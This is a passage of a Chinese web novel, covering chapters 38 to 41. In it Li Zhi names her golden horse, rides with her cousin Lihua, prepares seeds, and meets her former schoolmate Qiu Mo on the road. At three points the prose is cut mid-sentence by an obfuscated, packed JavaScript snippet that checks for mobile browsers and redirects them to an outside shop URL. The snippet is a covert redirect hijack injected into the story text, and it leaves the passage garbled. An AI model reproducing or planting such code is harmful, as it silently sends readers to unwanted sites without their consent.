最后,黎芝犹豫了一下,然后说道:“叫它‘金子’怎么样?” “随你便啦。”余庆满不在乎地说道,“它已经算是你的马了。那么,叫什么名字,都由你说了算啦。” “那……”黎芝犹豫地伏下身来,在马耳边重复说道,“金子。金子。金子。金子……” 刚刚才被命名为“金子”的黄金西域马,并没有什么明确的反应。 大概是没有理解黎芝的意思吧? 虽然它似乎没有听懂,但黎芝倒也不太在意。 这种事情也急不来,慢慢磨合好了。 与让它记住自己的名字相比,让它理解如何与黎芝互动,才是当务之急。 “金子,往前走走路吧。”黎芝恳求的时候,声音听起来竟然有些柔弱无助的感觉,“如果你一动不动、不肯听我话的话,那你选择我、我选择你这件事,也就没有意义了。我们是为了成为‘搭档’才在一起的,不是吗?” 说着说着,黎芝觉得自己的语言有些过于文学化了。 思索起来的时候,连自己都显得有些刻奇,她也因此不好意思了起来。 就在黎芝、余庆、梨花三个人都觉得,黎芝与金子之间所谓的“双向选择”,果然是没有什么意义的错误的时候,金子却突然开始走起路来。 它的外型明明高大而强壮,但走路却很慢很稳。 感觉上,它就好像是在担心走得快了,会把黎芝摔下来一样。 “哇!”黎芝心里非常高兴,她愉快地说道,“你在关心我吗?谢谢。” 对于黎芝的道谢,金子没有什么明确的反应。 不过,它毕竟是马嘛。在表情神态方面,比起猫狗的灵活程度还要差得多。 因此,它没什么反应倒也是应该的。未必是因为什么都没有听到,也许只是听到了不知道该如何做出反应而已。 38. 第 38 章 “我可以到外面溜达溜达吗?”黎芝当然不是在询问金子的意见。 她在询问的,是余庆与梨花这两位骑马方面的前辈的意见。 “我不太赞同……”梨花担心地说道,“从‘金子’来我们这里的时候开始,就没有人骑过它。它很不听话的,我很担心它离开了我们的视线,会对你做些我们无法预料的事情……” “我觉得没问题。”余庆乐观地说道,“‘金子’虽然非常不听话,但这正是由于它聪明、有主见,才会变成这样的嘛。它其实很懂事的,如果你骑上它出去走走的话,应该可以加深你们之间的信赖,这也是一件好事啊。” “舅妈!”梨花叫了一声,说道,“这可不是闹着玩的啊!这是很危险的!” “没关系的。”参考了余庆与梨花的意见之后,黎芝反而安下心来,她说道,“我觉得‘金子’很乖。它似乎可以听懂我的话似的……” “马基本都懂人的话!”梨花的声音渐渐变小,“可是,我反而觉得这匹马不太懂人话……” “诶?真的吗?”黎芝有些惊奇地问道,“马这么聪明?” “当然是真的。”梨花哀怨地说道,“算了,既然荔枝姐想出去溜达,我就陪你一起去吧!虽然‘菊花青’跑得不如这匹金马快,但也是十分强壮敏捷的马了。如果你在外面出什么意外的话,我应该也能来得及接应你。” (虽然梨花是好心,但她说话的方式还真不吉利呢……) “啊,谢谢你啦。”黎芝苦笑着说道,“不过,我应该不会出什么事情的吧。” “不会出事就最好了。”梨花说道,“我还不是担心荔枝姐出事嘛。” 于是,两人两马,就这样暂时离开了“食堂”所在的位置。 由于黎芝的马上没有马具,她又是初学者,因此只能在马上等它慢慢地走。 而旁边的梨花,自然也是迁就黎芝的速度,策马慢慢地走着。 “说起来,咱们这里的人,身上的衣服口袋还真是多呢。”黎芝在“大辉山”待了一段时间,越来越注意、感受到这一点了。 和京城的着装风格不同,这里的人,身上穿的衣服满是各种口袋。看起来很凌乱,但也别具一种美感。 “啊?多吗?”梨花望着黎芝的服装想了想,还是表示了赞同,“仔细想想,也确实挺多的。荔枝姐倒也没说错什么。” “我觉得挺多的。”黎芝说道,“比起京城流行的装扮,‘辉山’人的口袋多太多了。这是为什么啊?” “我也不知道……”梨花有些困惑,她想了想说道,“可能是因为,这里比较偏僻,到很多地方需要的工具,都得一一带在身上的关系,衣服上才会需要这么多口袋吧?” “虽然不知道是不是这么回事,不过还真有意思呢。”黎芝忽然想起了自己身上一直带着、却已经遗忘一段时间的东西,便从身上取了出来,递给梨花。 “这是什么?”梨花看到了自己不熟悉的东西,好奇地问道,“看起来有点像牛皮糖哦?” “这是‘坚果糖’。”黎芝把用洁净的糖纸包装起来的糖块递了过去,说道,“做法是有点像‘牛皮糖’没错,但里面放了很多‘坚果’。尝尝看吧,味道怎么样?” “这个……一般吧。”看起来,梨花对糖并不怎么感兴趣,她说道,“我觉得,不如不用熬糖、直接吃里面的东西还比较香。话说‘坚果’是什么意思啊?除了糖,我只看到了核桃和榛子,这些东西叫做坚果吗?” “可能是因为,‘辉山’这边的人不喜欢吃糖吧?京城的人倒是很喜欢这种做法。至于这个‘坚果’嘛……”黎芝一时还真不知道怎么解释“坚果”了,她说道,“坚果就是外面有一层坚硬外壳,吃起来很香的果实啦。” “这样啊……”梨花说道,“‘坚果’和‘水果’意思差不多,是个‘统称’对吗?” “对,是统称。”黎芝很高兴地点点头。 梨花虽然知道的不多,但悟性似乎倒是很不错嘛。 “那么,谢谢荔枝姐啦。”梨花又咀嚼了两块,然后说道,“味道不错,但我不怎么爱吃这个。” (真是礼貌的拒绝呢……) 对梨花的拒绝方式,黎芝感到有些哭笑不得。 太直率了,像小孩子一样…… 黎芝觉得,梨花的说话方式,经常比自己还要直率。 “荔枝姐要去哪?”无意义无目的地走了一会儿之后,梨花问道。 “我不知道。”黎芝刚这么说完,想了想又改口道,“现在先回‘草屋’那里吧。我想把菜籽处理一下,有条件的话,就来种菜吧。” “现在去‘草屋’?那里可以种菜籽吗?”梨花有点困惑。 “我也不太清楚。”黎芝说道,“但是,根据我的经验,菜籽应该是不能立刻种植的。要预先处理过一段时间,然后种下才能发芽。这附近能用上的东西太少了,我回去‘草屋’那里翻翻我带来的行李,这样应该可以找到能种植菜籽的工具。” “嗯,那就快走吧。”梨花口气柔和地表示了赞同。 于是,两人朝着大概是“草屋”的位置,骑马走过去。 “即使是白天,这里也十分相似啊。”黎芝说道,“你们都是怎么辨别方向和路线的啊。莫非全靠动物帮忙吗?” “差不多吧。”梨花笑道,“动物比人认路多了。” “那可真神奇。”黎芝点了点头。 在她看来,草甸子上,无论哪里长得都差不多。 而且,这里还真是典型的“地广人稀”地区呢,一路上都没有看到什么人。 不知不觉地,两人就在说话间,回到了“草房子”那边。 黎芝又是从马上踩着一个台子慢慢下来。她的动作看起来十分笨拙。 梨花看着黎芝的动作,想了想,突然缓缓地说道:“也许,荔枝姐不需要这么麻烦的。” “啊,什么意思?”黎芝没明白梨花的话。 “我觉得,‘金子’在荔枝姐面前,非常听话懂事。也许,荔枝姐只要对它说,让它‘跪下来!’,它就会跪下来了。这样一来,你就不用踩在台子上,而直接就能上去了。”梨花这么说道。 快速在脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376580|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里预演了一遍之后,黎芝觉得,梨花的这个建议并不适用于她的情况。 “还是算了吧。”黎芝摇摇头说道,“马跪下来的话,一定很不舒服的。那比起让它服从命令,我宁可自己麻烦一些,帮它节省一些力气。它失去自由地驮着我,已经够辛苦了。我还要折腾它的话,这也太过分了。” “这样吗……那倒也对。”梨花呆呆地想了想,似乎觉得黎芝的态度很有意思,“可能是我太冷漠了,不像荔枝姐那么重视动物的心情吧。” “可能不是你冷漠。”黎芝摇摇头,说道,“因为我很少见到动物的缘故,所以对动物,不太擅长把它视为动物吧。我总是把它视为‘与我相似的存在’来看待了,所以我讨厌欺凌动物。” “我知道了。”梨花恍然大悟地说道,“应该是跟我从小就和动物们生活在一起有关吧。所以,我和身边人一样,习惯性地把它们当成‘牲畜’一样看待,不像荔枝姐会把它们当人看……” “我不是把它们当人看啊。”黎芝哭笑不得地说道,“我只是觉得,它们也有类似人的感受吧?所以不想伤害它们,仅此而已。” “荔枝姐……真是适合在草原生活啊。”梨花柔和地说道,“我们这里,偶尔会有这种能和动物沟通的人出现,这种人是非常珍贵的。如果饲养动物的话,一定能把动物养得非常好。就像‘弼马温’天然就能养好马一样。” (弼马温吗?这比喻可真令人尴尬呢。) 黎芝对梨花的比喻感到哭笑不得,不过她依然赞许地点点头。 下马之后,黎芝在行李里翻出了一些绵软的纸张。 这种纸张是大夏生产的,相比西洋的纸张,更加吸水、质地柔软松散。 这种纸并不适合用硬笔进行书写,但是用毛笔来写字的话,则效果绝佳。 不过,黎芝并不是打算用来写字,她只是找出这些纸而已。这些纸有书写之外的用途。 黎芝还顺便找出了一个不怎么值钱的浅盘,这个之后应该可以用上。 “荔枝姐这是要做什么呢?”梨花表示没有明白黎芝的用意。 “我们去找点水吧?”黎芝说道,“我需要用水浸泡菜籽。” “我想过了,我们别去远处找水了,怪费劲的。”梨花说道,“我还是把院子里那口井好好收拾一下吧。以后可能会频繁用到它,我不能再嫌麻烦了。” 梨花说着,真的掀开了水井的盖子。 然后,她用水桶接连打了几桶水上来。 这些水,看上去依然很干净。应该可以直接饮用吧?不过,黎芝应该还是不敢喝这种水的。 梨花用水桶打上来的水,并没有被随意放置或是使用,而是都倒进了一个不起眼的水缸里。 这应该就是“大辉山”人储存水的方式了。 “荔枝姐有需要的时候,就从水缸里取水吧。”梨花说道,“如果荔枝姐要暂时住在这里的话,每次都得去小河那边洗漱,也太痛苦、太麻烦了吧?” “那,谢谢你啦。”黎芝倒是也没觉得有多么痛苦麻烦,但确实应该感谢梨花的好意才对。 39. 第 39 章 “不用谢啦。荔枝姐要怎么使用这些菜籽呢?”梨花说道,“如果可以的话,我想看荔枝姐做事的全过程。” “那倒也简单,不是什么值得隐藏的秘密啦。”黎芝说着,舀出了一大碗左右的水。 连水带碗,都放在似乎不会被踩、被踢翻的角落里。 然后,黎芝把菜籽也一口气倒了进去。 好多菜籽在水里浮了起来,但也有一部分菜籽沉到了碗底。黎芝对此毫不在意。 “这么做就能发芽吗?”梨花惊奇地问道。 “应该能吧,不能我也没有什么好的办法了。”黎芝说道,“种子需要吸收大量水分,才容易发芽。而浸泡,就是最容易让种子吸水的步骤了。” “听起来好厉害……”梨花说道,“我还第一次见到这种做法呢,荔枝姐好聪明呀。对了,那些浅盘和纸,是用来做什么的呢?” “那应该是因为……梨花很少种东西的缘故吧,育苗时期这么做很普通的。”黎芝微微笑了笑,说道,“等泡个一昼夜之后,我就在浅盘上铺上一层纸,放上菜籽,再盖上一层纸。接着每天适量浇水,直到它出芽为止。等它出芽之后,我们就可以把菜苗种植到土里了。” “哇!”梨花惊奇地说道,“种菜是这么做的吗?那直接把种子埋在土里不好吗?” “也不是不行。”黎芝摇摇头,说道,“但是,一般来说,都不会这么做。土里的水太少了,不容易被种子吸收,菜籽的成活率会变低。让种子始终保持湿润,萌出芽苗之后再放在土里种植的话,就更容易长大了。其实,更好的种菜方法,是把买来的菜苗种到土里。但是这里没有育苗过的菜苗嘛,只能试着把种子尽量种好、让它发芽了。” “真神奇。”梨花的眼睛仿佛闪闪发光一般,看起来对黎芝的话非常感兴趣。 黎芝觉得,梨花巴不得马上就看到菜籽出芽。 但那是不可能的事情。植物无论长得多快,都需要一段时间才能看到变化。 黎芝处理了菜籽之后,两人就又清闲起来了。 “我们去别处看看吧。”黎芝说道,“在这里也没有什么事情好做。” “好啊好啊。去哪里呢?”梨花望着黎芝,纯真地说道,“荔枝姐有什么特别想去的地方吗?” “嗯……我一时也说不出来。”黎芝苦笑了,她说道,“我对这里根本不熟悉啊。‘’想去哪里这种话,也是熟悉某个地方的人,才能说得出来的话啊。” “我知道荔枝姐不熟悉这里,但是,我以为荔枝姐有大概的目标呢……”梨花说道,“难道,荔枝姐一点‘头绪’都没有吗?如果实在没有的话,我再帮荔枝姐提建议吧。” “也不是没有的。”黎芝说道,“要问我想去哪里的话,我想去可以尽快对这里熟悉起来的地方。哪里都好。” “这也很难明白呢……”梨花轻轻地叹了口气。 “既然这样……”黎芝说道,“那就多带我在‘大路’上溜达溜达吧。既然住在这里,至少要学会记忆道路。就算依靠马匹移动,也得大致明白方位和距离才行。” “好呀。”梨花说道,“那么,我们这就去吧。” 两人两马开始在路上徘徊起来。 走了很久,简直是可以用“时辰”来计算的时间。 尽管黎芝还是没有完全记住道路,但已经多少有点头绪了。 这是往好的方向变化的迹象,黎芝很高兴。 (话说,马儿不累吗?) 黎芝有些担心,但没有细想下去,思绪就被打断了。 因为,黎芝正在思考的时候,远方突然出现了一个“身影”、映入她的眼帘。 本来,这种情况,和黎芝与梨花是没有关系的。 她俩也本应认为与己无关,选择置之不理的。 但那个身影靠近得很快。 看起来是一个人骑着一匹马,而不是坐在马车上这样的情况。奔跑的情况下,很快就会靠近她们。 而黎芝骑在金子身上,动作自然慢吞吞的。 为了避让对方,她决定和梨花一起待在路边的原地不动,静待对方离去。 因此,那个身影就逼近了她们。 “咦?”当那个影子与黎芝以及梨花擦肩而过的时候,黎芝突然发出了一声轻轻的叫声。 “怎么了,荔枝姐?”一旁的梨花并不明白黎芝的奇怪反应,追问了起来。 “没什么……”黎芝心不在焉地答道。 “没什么”只是说给梨花听的话语罢了,在黎芝这边的体验,可绝对不是“没什么”了。 因为,那个身影的主人,尽管没有看清楚脸,但从身材体型的方面,却是让黎芝印象非常深刻。 他太像是黎芝认识的某个人了。 但这个人不会出现在这里。 那是黎芝在京城上学的时候,仅有的“朋友”了。 也是黎芝写信的对象。 正是因为这样,黎芝才会感到惊愕,产生“认为自己看错了”的想法。 黎芝确实不希望跟这个人断了联络。 但她无论怎么去想,昨天寄出邮件这件事,都绝对不可能让那个人在一夜之间赶过来。 要知道,黎芝跟从车队坐马车的时候,从京城到“大辉山”的时候,可是花了足足好几天才到呢。 那个人又不会飞。 而且,再怎么说,从收到寄来的信件、到收拾行装赶过去,这期间,肯定需要六七天的时间吧? 这段时间,是怎么想也无法省略、跳过的。 因此,眼前路过的这个人,很显然,绝不可能是黎芝认识的那个人才对。 即使如此,那个人的身影,让黎芝感到非常怀念。 黎芝乘坐在金子的身上时,前进速度自然非常缓慢,她有充足的时间用来缅怀那种感觉。 “是有什么吧!”梨花尖锐地指出问题所在,她说道,“我看荔枝姐都变傻了啊!这样怎么可能是‘没什么’呢?” “我哪有变傻?”黎芝马上就激动了起来。 不论有没有变傻,碍于面子,这可是黎芝不能承认的事情。 “明显和之前不一样了啊。”梨花说道,“平时,荔枝姐的神情和眼神都非常清澈冷静。但是刚才那个人过去之后,荔枝姐就一下子变得呆滞木讷起来了。也许荔枝姐自己感觉不到,但是在我眼里,这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376581|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变化真的好明显呀!” “是吗……那这可真神奇呢。”既然被梨花指出来了,黎芝也懒得遮掩了,她说道,“我也不知道为什么,就是不由自主发呆起来了。大概是因为,刚才的那个人,看起来很像我认识的人吧。” “认识的谁啊?”梨花流露出好奇的的表情,说道,“方便的话,能和我说说吗?” “我的同学……”黎芝想了想,又修正道,“也不算是同学,应该算是前辈吧。他比我大两年级,我十八岁,他今年应该是二十岁了。” 按常理说,那个人在学业上,早就达到应有的水准了。但却留在学校里、一直没有毕业,真搞不懂是为什么。 想到这里,黎芝心中一阵迷茫。 “咦?”梨花惊讶地说道,“那不会真的是你的同学、或者说前辈吧?” 梨花的话太过于没头没脑,黎芝完全没明白她的意思,可以说是完全误解了。 “当然不是啊。”黎芝说道,“他在京城上学呢。不可能出现在这里。” 梨花只是用手指着远处的方向。 “但我看他回来了。”梨花说道,“如果不是你的同学的话,他就不应该会回来。” “他怎么会因为‘是我的同学’这种理由,转身回来呢。”黎芝摇摇头说道,“跟那个没有关系吧。他应该只是想起了什么事情才回来的。” “我觉得,他并不是想起了什么事情才回来的。而是看到了什么事情,刚刚才反应过来,认为自己应该回来才回来的。”梨花摇摇头,一针见血地说道,“难道不是吗?荔枝姐你再好好看看吧!” 但黎芝果然不大理解梨花的意思。对于梨花的话,她只感到匪夷所思而已。 虽然不理解梨花的意思,但黎芝依然认真地看向梨花所说的那个人,正赶过来的方向。 “……啊。”随即,黎芝木讷地说道。 梨花说的没有错,应该是没有错的才对。 但正因为,事情如同梨花总结的那样展开了,所以黎芝才一下子变得傻了起来。 梨花说黎芝刚才变得傻了,那是错误的。 刚才那种状态,应该只是发呆,而发呆这种事也是黎芝常见的状态。 黎芝会陷入现在这个状态,自然是因为,她亲眼目睹,不该出现在这里的秋墨,正策马而来的关系。 在惊愕之中,黎芝与折返的秋墨四目相对。 “你是谁?”当这个人出现在黎芝面前的时候,她的心中感觉到的,其实不是惊喜,而是惊吓。 听说,世界上会有至少三个人,并非多胞胎,长相却一模一样。 只不过,他们大概率永远都不会相见,所以不会引发什么问题而已。 用东瀛的话说,这种与本人不同个体、但却十分相似的存在,叫做“二重身”。 在黎芝看来,眼前的这个人,就是秋墨的“二重身”了。 这是一种非常愚蠢的推论,但在惊愕的黎芝眼里,这是非常正常合理的想法。 毕竟,比起本应在京城上学的秋墨,突然出现在自己面前这种展开,黎芝觉得,在这里刚好遇到与秋墨相貌完全相同的人的可能性,大概还比较高。 40. 第 40 章 “刚才,你明明看到我了吧?怎么不喊住我呢?我差点就没注意到你呢!”这是重逢后,秋墨开口说出的第一句话。 黎芝只是呆呆地看着他而已。 然后,她口不由心地说出了另一句奇怪的回答:“你今天没穿白衣服。” “啊?!”秋墨也许被黎芝的发言惊呆了,一时沉默了下来,他只是惊讶地望着黎芝。 黎芝也望着秋墨,但眼神中看起来缺乏焦点。 虽然是男子,但秋墨是绝对称得上“美丽”的人物。 他的容貌,实在非常精致。 脸很小,眼睛很大,鼻梁极为挺拔,有着更胜雕像的美貌。 洁白得仿佛毫无瑕疵的皮肤,与仿佛用墨笔绘制而成一样黑白分明的眉眼,那是无论何时都让人联想到最精致优美的水墨画的容颜。 秋墨不仅美丽,而且有一种清冷而又空灵脱俗的气质。 近距离一看,秋墨真如活着的水墨画一般雅致清丽,令人感到淡泊而缥缈。 他那细高挑的外型与过分美丽的容貌,无论站在哪里,都会被人一眼辨认出来、完全无法削弱存在感。 哪怕他风尘仆仆,衣衫脏乱,那绝美的外表,都足以让他的衣衫看起来犹如礼服般典雅端庄。 不过,令人有些遗憾的是,秋墨那秀丽的容貌,与他的性格并不怎么匹配。 秋墨的性格,实在是过于热情、直率与怪异了。 只要一开口,就会把他优雅轻灵的外表完全破坏,相当粉碎大家对他性情的期待。 所以,即使在学校里,秋墨也被视为典型的怪人。 大家常常认为,秋墨只要控制住自己不说话,就是完美的、犹如谪仙一般的存在了。 本来与秋墨交集理应不多的黎芝,反而是最能接受秋墨的性情、也就是他真实一面的人。 用秋墨的话说,其他人顶多只是在“忍受”他而已,只有黎芝可以“接受”他。 仅仅凭这一条,黎芝在秋墨眼里,就是最为不同的人了。 也因此,秋墨对黎芝的态度,一直与对别人不太相同。 虽然,黎芝会这么对待秋墨,是因为她并没觉得,秋墨有什么特别到不能被接受的地方。 为什么大家不太接受秋墨真实的一面?这一点,连黎芝也一直觉得很困惑。 (也许是因为,他的容貌过于出众,因此大家对他的期待也格外强烈,才导致这种反差的吧?) 黎芝是这么怀疑的。 但秋墨却并不这么认为。 “或许,这就是‘怪人与怪人’之间的互相吸引吧。”以前的秋墨是这么说的。 但是,黎芝听了很不高兴,她觉得自己并不是什么怪人。 而且,自己接纳秋墨,也不是因为他的奇怪,但秋墨非要这么认为。 黎芝在据理力争之后,感到没什么效果,也就麻木了起来。 那些都是过去的事情了。 回想起来过往的记忆,黎芝竟然感到恍若隔世。 “你刚才为什么问我‘你是谁?’啊?”回过神来,秋墨突然打破沉默、开始了较真的行为,他说道,“我们明明才分开几天而已,你就把我忘得一干二净,这太过分了吧!难道你是传说中的‘脸盲症’吗?以前,我可不知道你有这个毛病啊!” “脸盲症”,是一种无法记忆人脸孔的毛病。 自从不知谁在京城中传播开来了这个词之后,它就一直流行着、经久不衰。 毕竟,除了记忆力绝佳的人,谁能记住自己不感兴趣的事情、关心自己完全不感兴趣的人呢? 所以,“脸盲症”是万能的免责声明。 忘记别人面孔的人,只要说自己是“脸盲症”就可以了。 但黎芝可不觉得自己是什么“脸盲症”。 恰恰相反,黎芝会这么惊讶,正是因为她一眼就认出了秋墨的身影。 所以,他才会难以置信、难以释然的。 “所以说,你到底是谁啊?”黎芝烦躁地说道,“回答我的问题就那么难吗?” “你这是什么刁难人的问题嘛……”秋墨也听得有点生气了。 但他深吸了一口气、冷静下来之后,还是老老实实地回答了。 “我是秋墨。以前和你在同一学校、每天都能见面的人。虽然我们不是同年级,但是你也不应该忘记我。”秋墨很平凡地进行了自我介绍。 “原来如此,你还真的是秋墨啊。”听到对方的自我介绍之后,黎芝的心里一阵松弛。 然后,黎芝的心情,反而变得更加微妙起来了。 各种意义上说,黎芝还根本没有做好与秋墨重逢的准备,就结束了这场分别。 秋墨出现在这里,实在太突兀了。使得黎芝不知道该跟他说什么才好。 “我想应该没有人无聊到要冒充我吧。”秋墨无奈地说道,“我也只是一个普通得不同再普通的‘前学生’啊。” “前学生?”捕捉到了这个重要信息之后,黎芝很惊讶地说道,“你是说,你现在不是学生了吗?” “当然不是学生了啊。”秋墨说道,“和你现在一样啊。你不也不是学生了吗?” “为什么要辍学啊?”听到秋墨这么说,黎芝不由得有点伤心,她说道,“明明,之前都在学校里好好读着书的,怎么说不读就不读了呢……” “就是不想读了嘛……”秋墨说道,“还有,我这种情况不叫‘辍学’,顶多叫‘肄[yì]业’。” “肄业?”黎芝懵懂地问道,“和辍学有什么区别啊?” “什么都没学到就不上学了的,那叫辍学。学到了很多东西,但是因故没有毕业的,那叫肄业。”秋墨理直气壮地说道,“我本来就在学校没什么好学的了,就此肄业离开又怎样呢?” “你竟然也是这么想的吗……”黎芝惊讶地说道,“既然你是这么想的,那你又为什么要迟迟拖着不肯毕业呢?有什么特别好处吗?” “当然有啊。”秋墨认真地说道,“有时上学或者工作,又不是为了上学或者工作本身,是为了见到某些人嘛。” “某些人?他们有什么好见的?”那时,黎芝还完全不能明白秋墨的意思,她说道,“如果不是为了上学的话,我应该整天整天都在家里待着,连门都不出吧。” “这就是你我的不同了。”秋墨哭笑不得地说道,“你这种内向的人的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376582|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,我也一样不懂啊。” “我没有内向。”黎芝赌气地说道,“或者说,就算我是内向的,这种不想看到别人的态度,也与内向外向什么的没有关系。” “好吧好吧……”秋墨叹了口气,“你爱怎么想怎么想吧。可真是让我无奈啊。跟你说这么简单的道理,你都听说不明白,亏我还以为你很聪明呢。” (你会说话吗?真是让人无名火起呢。) 秋墨的话,让黎芝感到很不爽。 “你……你以为我会为了证明自己很聪明然后跟你吵架吗?才不会呢,我会说‘我本来就不聪明’的!”黎芝气呼呼地说道,“如果你有什么想表达出来的事情,就请尽量清楚明白地表达出来。如果你故意不表达的清楚明白,那还不如不表达,至少不会因此误会。你有表达隐晦的权利,但别人也会有误解你的权利啊。” “说不过你啦。”秋墨无奈地摇摇头,说道“我会努力向你的说法努力的。” (别真的相信啊……) 就性格来说,秋墨实在远远算不上完美。 但他的容貌与气质,却美丽到常常让别人忘记他真实性格,产生巨大误解的程度。 因此,只要一闭嘴,秋墨就立刻变得缥缈梦幻了起来。 太过于漂亮优美的外表,会让陌生人多少产生一些敬畏与向往。 而且,秋墨的美貌,也让现场的氛围,变得有些怪异。 黎芝十分不安地望着秋墨。 就这样,黎芝与秋墨僵持了一段时间之后,沉默与尴尬的气氛意外地被打破了。 “那个……”梨花像小动物一般,楚楚可怜、惹人怜爱地举起了手,她说道,“你们打算一直在道路中央吵架吗?虽然这里平时也没有几个人路过,但在这里吵架,也不能算是什么舒服的好事吧?以和为贵不好吗?” “啊……这倒也是。”黎芝看向秋墨,说道,“我要回家了。你打算去哪里?话说回来,你为什么会突然出现在这里呢?好奇怪啊。” 听了黎芝的话,秋墨的表情十分怪异。他好像是强忍着才能不发作出来一样。 “你怎么能说出这种话呢?我来这里是为了什么,你到底要怎么想才能不明白呢?”秋墨的口气很凶。 “误解是别人的自由啊。”黎芝只是冷淡地说道,“我最讨厌不实话实说,给别人留下哑谜,还一副是别人的错的人了。” 其实并不只是讨厌这种人,只不过,在当下的语境下,黎芝的心情就是如此。 “那好吧。”秋墨说道,“我想去‘你现在待着的地方’待着,可以吗?” “什么意思啊?”黎芝完全不明白秋墨的意思,她说道,“‘我现在待着的地方’是我家啊,你要去我的新家吗?” “不行吗?”秋墨失望地摇摇头,说道,“我可能没法住在你家,但是我不能住在你家附近吗?” “这是什么心态……”黎芝完全一头雾水,她说道,“我们家的人你都不认识,你来做什么呢?” “那个……”梨花又一次举起了手,她可怜巴巴地说道,“虽然荔枝姐你可能觉得并不重要,但是,我们家是开‘民宿’的哦。荔枝姐不会已经忘记了吧?” 41. 第 41 章 “荔枝姐?”秋墨惊奇地说道,“为什么这个姑娘会叫你‘荔枝姐’呢?这是你的绰号吗?” “啊,这确实是应该之前就跟你说的事情没错。”黎芝有些害羞,但还是无奈地说道,“我现在的全名是‘栗芝’。姓氏从‘黎明的黎’,改成了‘板栗的栗’,名字没有变。虽然,现在跟别人介绍自己的时候,我自报的名字,发音都是‘荔枝’了。但是,你现在也依然可以叫我‘黎芝’。如果是你的话,我不在意哦。” 虽然对养父养母的感情并不十分深厚,但黎芝对这陪伴了自己十八年的原名,还是很有感情的。 虽然觉得这么想不太合适,但黎芝并不是很希望与过去的旧名字划清界限。 “我明白了。”秋墨叹息了一声,说道,“原来你现在的家姓栗吗?那还挺巧的,和你过去的姓氏也十分相似。” “确实如你所言。”黎芝深思地说道,“可能这就是缘分吧。” “对啦,你不介绍介绍我们吗?”秋墨不安地说道,“我不认识她,她也不认识我。三个人里有两个人互不认识,这样的氛围很怪吧?” “确实。”黎芝微微撅起嘴,不太愉快地说道,“因为……我不太想让你俩认识,这个理由可以接受吗?” “可以接受。”听了黎芝的话,秋墨反而微笑着说道,“如果是这个目的的话,那我还挺接受的呢。不如说,有点儿高兴……” (为什么这样会高兴呢?秋墨真是个奇怪的人。) 梨花没有说话,也许她觉得自己此时不该说话吧。 黎芝交替地看着面前的两个人,最后还是下定了决心。 “他是我上学时的高年级前辈,秋墨。”黎芝终于肯认真地介绍双方了,她将两手交替指着两人的方向,说道,“她是我的姑表妹,梨花。我们现在生活在一起,勉强……算是类似家人的关系吧。” “你好啊……梨花。”秋墨点点头,朝着梨花的方向伸出手去,应该是想要与她握手。 不过,结果却是,梨花在马上吓得往后退了好多步。 难道是因为,梨花不知道该如何面对秋墨这样的人吗?黎芝因此多少有些懊恼。 “你别这么热情啊。”黎芝担心地说道,“梨花她非常怕生,不敢直接和陌生人交流的。” “看起来真不像呀!”秋墨惊奇地说道,“我听她之前说了很多的话,不像怕生的人呢。” “怕生分很多种,你能把所有的怕生类型都见过一面的话,未免太很不容易了。我觉得,你很可能只是没有途径全认识一遍而已。”黎芝理直气壮地说道,“像梨花这样的孩子,就是时而怕生时而不怕生啊。你不懂,就别发表意见了。我说她怕生,她就是怕生。” 黎芝自己,也觉得自己说的话很不讲道理。 但是,在秋墨面前,黎芝总觉得自己即使不讲道理也会被宽容。 尽管这是不对的,但黎芝实在很喜欢这种感觉。偶尔也会想重温一番。 “那好吧。我明白啦。”秋墨点点头,略有点无奈地说道,“你能带我去你的家吗?我想去见识见识。” “我们家是民宿呢。”刚被黎芝定义为“怕生”的梨花,此时却是很自信地说道,“非常适合招待你这样的人。只要你出得起钱的话,就可以一直住下去哦。” “那我肯定出不起的啦。”秋墨说出了不按牌理出牌的话,“我可以来你家‘打工’吗?” (还有这个提问的选项?真不愧是秋墨啊。) 没想到秋墨居然连这种话都说得出来,让黎芝觉得有些哭笑不得。 “不可以。”梨花又接话说道,“我们家现在没有付款给‘打工者’的计划和钱呢。如果你不打算做白工的话,就别来了,我们家可不缺人手。” “是吗……那太遗憾了。”秋墨失望地说道,“既是如此,那民宿倒也行,你先带路吧,我落脚后再做打算好了。” 明明是散步这么简单的事情,却突然遇到了一个完全不简单的人。 结果,就这样进入了非常令人难以理解的展开。 该怎么办才好?不知道呢,走一步看一步吧。黎芝彷徨地如此想着。 明明是跟自己有重大相关的事情,但是由于太惊讶了,黎芝的注意力反而因此变得涣散了起来。 “民宿很贵哦。”梨花甚至有些得意洋洋地说道,“如果你想在我们家住下去的话,就要花费很多住宿费哦。” “这样啊……但为什么一直跟我强调这个呢?我已经知道了啊。”秋墨对梨花的话表示不太理解。 